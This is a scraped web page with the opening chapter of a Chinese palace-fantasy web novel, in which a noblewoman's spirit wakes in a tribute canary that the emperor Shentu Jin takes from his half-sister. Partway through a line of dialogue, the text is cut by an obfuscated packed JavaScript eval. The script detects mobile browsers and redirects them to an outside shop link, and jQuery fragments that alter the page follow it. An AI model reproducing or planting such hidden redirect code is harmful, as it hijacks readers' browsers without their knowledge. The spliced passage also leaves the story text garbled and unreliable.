1. 金丝雀

作品:《朕养的金丝雀成精了

    景元十二年,春


    大端国力强盛,万国朝拜,诸国使臣各着不同异域风光的衣袍,带着琳琅满目、各具特色的贡品云集在燕京城内。


    一时间,繁华的燕京空前盛况,气质相貌各不相同的人流连在城中各处。


    是日,天朗气清,柔风舒畅,日光洒下暖光。


    南丹使臣沼纳看着笼中了无声息的雀鸟愁容满面,往日他嫌弃的叽叽喳喳的声音叫嚷声,现在看来宛如天籁,竟有些怀念。


    南丹国毗邻旷野,弹丸小国,最擅与飞禽鸟雀沟通。这次受邀来到燕京,他们训练了一批鸟兽准备献给大端皇帝,其中最珍贵的就是笼中这只已经失去生息的金丝雀。


    南丹国主派人搜遍了整座羽山才找到,只可惜还是只幼崽,金丝雀难得并且十分脆弱,一般都是在成年后训练。


    等不到它成年,南丹国主就让使臣带它上路前往燕京。


    沼纳是最有经验的人,一路上都是他在照顾,明明进燕京前一晚还好好的,可这一进来就开始萎靡不振,使臣团焦头烂额,一个个毕生所学都用上了,结果还是没救回来。


    沼纳无奈叹息一声,眸中尽是惋惜。幸好此次带的鸟兽数量不算少,这只金丝雀虽然珍贵,但除了漂亮一无是处,不过是少一个观赏的鸟,想来应该没多大问题。


    南丹国有一个习俗,死去的鸟雀一定要将它们葬在东南方,它们的灵魂会顺着太阳升起的方向找到回家的路,再次重生回到世间。


    沼纳来到院子里的东南角,在一颗树下挖了一个小坑,在它身上裹紧红布,只露出一个脑袋。


    使臣团的其他人纷纷四散站在廊下,低头默哀祷告,祈求它的灵魂找到回家的路。


    一捧又一捧的泥土混着潮气盖在它身上,很快红布就不见了踪影,只剩下一个小脑袋。


    沼纳双手捧起一把泥土,刚想洒在它身上,它的脑袋轻微的动了一下。


    沼纳还以为自己看花了眼,眨了眨眼,它还是那副模样没变化,想来真是自己看错了。


    就在那捧土即将洒下的瞬间——


    原本闭着眼睛,了无生息的金丝雀蓦的睁开了眼,直勾勾的看着他。


    沼纳手一抖,泥土偏了位置纷纷扬扬洒在了他的靴子上,蓝底暗纹的靴面顿时一片脏污。


    司婳昏迷前最后的记忆停留在嘶啸的马声,有人在高声惊呼,混乱的车厢里,她东倒西歪的摔在了车壁上。


    脑袋仿佛隐隐作痛,她下意识的想伸手去摸额头,身体却犹如被压着千斤,沉重的她有些喘不过来气。


    费力的睁开眼睛,模糊的视线中她只看到了一张放大数倍的人脸,吓得她惊声尖叫,一道清丽却尖锐慌乱的鸟声划破了院内的宁静。


    —


    沼纳将她清理一番,重新塞进了笼子,这简直是一件奇迹,这只金丝雀竟然活了过来!


    一定是羽神在保佑南丹,将这只金丝雀送了回来。他瞧着挣扎的力度比之前还要灵活旺盛不少,他都险些没拿住她。


    沼纳满意的看着她,欣喜万分,吩咐了几句看管的人就走了出去。


    司婳想了半天也没想到自己怎么会变成一只鸟,而且这里也不是湖阳。


    湖阳的建筑素朴,这里的建筑争喧夺目,红墙朱门,颜色煞是艳丽,倒像是燕京的风格。


    司婳的母亲是现居在湖阳的青阳郡主,十岁之前她都生活在燕京,直到祖父与父亲战死沙场。


    青阳郡主抑郁寡欢,先皇为了抚慰司家,一诏圣旨封她为郡主,而后她便带着十岁的司婳离开了燕京,来到了湖阳。


    可她明明记得自己是跟着她娘一起去寺庙里烧香,回来的路上忽然起了大风,硬是将马车掀飞了起来。


    她娘为了保护她被甩出了马车,而她一脑袋撞在了车壁上,昏迷了过去。


    醒来却变成了一只鸟,司婳懵怔的看着自己的爪子,有些不知所措。


    如今她口不能言,还被关在笼子里,不知道会被带到什么地方,她顿觉一阵心慌,拼命啄着笼子上的锁。


    但这副小小的身体不过是一个幼崽,实在是太过瘦小虚弱,在笼中挣扎了半晌,司婳累的气喘吁吁,趴在笼子里睡了过去。


    “宣南丹使臣觐见!”


    一道高昂的唱喏声响起。


    司婳被这声音吵醒睁开眼睛,却一片黑暗笼罩。


    身下是一阵移动的脚步声,司婳心中一凛。


    这是什么地方?


    下一秒,笼子陡然悬空,似乎被高高举起,司婳在黑暗中无处可逃,不自觉的扇动翅膀冲向上面,不断撞击着笼顶。


    只撞了几下,脑袋就有些晕晕乎乎的,无力的趴在下面,满心绝望。


    突然,天光大亮,司婳被突如其来的光亮刺的眯起了眼。


    “陛下,这是南丹珍贵的雀鸟,金丝雀,国主特意派人寻来献给陛下。”


    南丹使臣一只腿屈膝半跪在地上,双手交叉在胸前恭敬的说道。


    笼中的雀鸟,通体明黄如玉,额角一抹红色,身形细长小巧,黑色的眼睛灵动可爱。


    趴坐在笼中的模样甚是憨态可掬,众人的目光不自觉的都被吸引。


    申屠缙侧目看了一眼,便没了兴趣,比起这弱小的雀鸟,他更喜欢一旁善战英勇的鹰隼。


    倒是太后身旁的柔嘉公主,探着头望向笼子,眸中欢喜。


    申屠缙一步步走下高台,走近笼子看着她,戏谑开口,“这金丝雀如此珍贵,可有什么过人之处?”


    南丹使臣没想到他竟然会下来,瞬间被他身上的威压吓得身体一颤,小心说道:“回陛下,金丝雀温驯伶俐,擅长模仿各种鸣唱,其声音清丽婉转,虽不能像鹦鹉一样模仿人声,但它的鸣唱悠扬,传说可抚慰人心中的愤恨焦躁之症。”


    申屠缙听完满脸无趣,指尖搭在笼子上,声音带着一丝寒意,“不如鹰隼善战,又不像鹦鹉学舌伶俐,除了漂亮当真是.....一无是处。”


    声音回荡在大殿内,传进每个人耳朵里,端坐着的太后听到这话咬牙切齿,他这是指着鸟骂她没用。


    气氛一时间有些凝滞。


    南丹使臣额角微微渗出细汗。


    柔嘉公主没注意到太后的脸色,见申屠缙走下去,她也迫不及待的上前仔细打量着笼子里的金丝雀,越看越喜欢,“皇兄若


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058962|194959||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是不喜欢,就把它给我吧。”


    “哦,你喜欢。”申屠缙挑眉问道,还大大方方瞄了一眼太后。


    柔嘉公主连连点头,期待的看着他,上面的太后见她直接开口讨要,脸色有些挂不住,但也不好反驳。


    太后见他看过来,故作镇定开口,“既然柔嘉喜欢,那就将这只金丝雀给她吧。”


    听到应允,柔嘉公主眼中欣喜万分,刚想伸手去碰笼子,申屠缙瞬间出手夺了过来,在里面的司婳打了个滚,贴在笼子边缘。


    “谁说朕不喜欢,”申屠缙掂了掂手里的笼子,“朕可喜欢的很,正好批奏折累了,听听这鸣唱声说不定可缓解疲乏。”


    “这金丝雀朕就收下了,使臣有心了。”


    南丹使臣惶恐的颔首行礼,不敢抬头。


    柔嘉公主双手僵在半空,气的小脸一白,刚想开口怒骂就被太后一个眼神制止,不甘的抿紧嘴,只能作罢。


    内侍唱喏声渐消,各国使臣依次走出大殿。


    申屠缙随手将笼子递给一旁的内侍,看都没看太后一眼径直走出大殿。


    柔嘉公主见他离开,气愤的抱怨道:“母后,你看他,明明不喜欢,还和我抢!”


    “柔嘉,哀家是怎么和你说的,”太后起身,声音带着阴郁,“方才怎么如此莽撞?”


    柔嘉瞬间消了气焰,“母后,我....”


    还没等她说完,远处走来几个人影,太后厉声打断,“好了,绛珠,带公主回宫,这段时间少出来走动,好好在菡萏殿待着。”


    司婳一路颠簸被人带进了一处寝殿,她耗尽了所有的气血,已经没了任何力气再去挣扎,此刻正恹恹的趴在笼子里。


    申屠缙步入寝殿,转身看到笼子里神色恹恹的金丝雀,煞是无趣。


    申屠缙烦躁说道:“把她放远点,别让朕看到。”


    “是。”


    内侍应声,转身迈出寝殿。


    入夜,万籁俱寂,夜幕沉郁。


    内侍给她喂了鸟食,她半点不感兴趣,甚至愤愤掀翻了食物。


    从她穿进这具身体,已经有两天了,未尽一点水和食物,加上心中忧思,她觉得自己快要死在这里了。


    坐以待毙不是她的风格,她心不甘情不愿的啄了几口水。


    随后扇动翅膀飞到锁那里,内侍没关紧,可能是想着她都这样了,还能有什么力气飞出来。


    司婳打开了笼子,爪子落地,小脑袋轻微的转了一圈端详着周围,隐约可见最里面有丝丝烛光。


    她扇动着身子飞了过去。


    直到越来越接近光亮,司婳小身子用力顶开门,灵活的钻了进去。


    殿内烛火通明,倒映在窗棂上,司婳小心谨慎的走在地板上,探进纱帘后。


    一张巨大床榻显现在眼前,床沿边散落着几缕发丝,烛火通明,他竟然还能睡得着。


    司婳观察了一圈也没找到什么突破口,这里门窗紧闭,要不是刚才那道门留了个缝,她也钻不进来。


    司婳无法,又将目光放在了床上的人身上。


    扇动翅膀冲向半空,刚飞到床边,一双大手袭来,猛地攥住了她。